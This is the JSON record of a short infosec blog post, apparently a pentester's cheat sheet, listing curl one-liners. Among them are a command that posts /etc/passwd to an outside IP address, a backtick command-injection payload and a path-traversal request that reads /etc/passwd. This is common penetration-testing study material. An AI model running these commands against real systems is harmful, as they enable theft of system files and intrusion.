{"id":2982,"date":"2021-04-25T13:40:20","date_gmt":"2021-04-25T11:40:20","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=2982"},"modified":"2024-06-13T13:03:42","modified_gmt":"2024-06-13T11:03:42","slug":"curl","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=2982","title":{"rendered":"Curl"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Write into a&nbsp;file:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl $url -o \/tmp\/f.txt<br>curl $url --output \/tmp\/f.txt<br>curl $url &gt; \/tmp\/f.txt<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Post a local&nbsp;file:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl -X POST --data-binary @\/etc\/passwd http:\/\/192.168.49.53:21\/<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Exe\u00adcute com\u00admand and return the result:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl -d q=<code><code>`id`<\/code><\/code> http:\/\/localhost:21\/<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">With a header<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl --header \"Host: localhost\" 10.10.10.10<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Use the cor\u00adrect path also with ..\/ (use\u00adfull for file tra\u00adver\u00adsion attacks):<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">curl --path-as-is $target:$port\/public\/..\/..\/..\/etc\/passwd<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Write into a&nbsp;file: curl $url \u2011o \/tmp\/f.txtcurl $url \u2013out\u00adput \/tmp\/f.txtcurl $url &gt; \/tmp\/f.txt Post a local&nbsp;file: curl \u2011X <span class=\"caps\">POST<\/span> \u2013data-bina\u00adry @\/etc\/passwd http:\/\/192.168.49.53:21\/ Exe\u00adcute com\u00admand and return the result: curl \u2011d q=\u2018id\u2018 http:\/\/localhost:21\/ With a head\u00ader curl \u2013head\u00ader \u201cHost: local\u00adhost\u201d 10.10.10.10 Use the cor\u00adrect path also with ..\/ (use\u00adfull for file tra\u00adver\u00adsion attacks): curl \u2013path-as-is $target:$port\/public\/..\/..\/..\/etc\/passwd<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[477],"tags":[380],"class_list":["post-2982","post","type-post","status-publish","format-standard","hentry","category-software","tag-curl"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2982","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2982"}],"version-history":[{"count":5,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2982\/revisions"}],"predecessor-version":[{"id":3923,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2982\/revisions\/3923"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2982"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2982"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2982"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}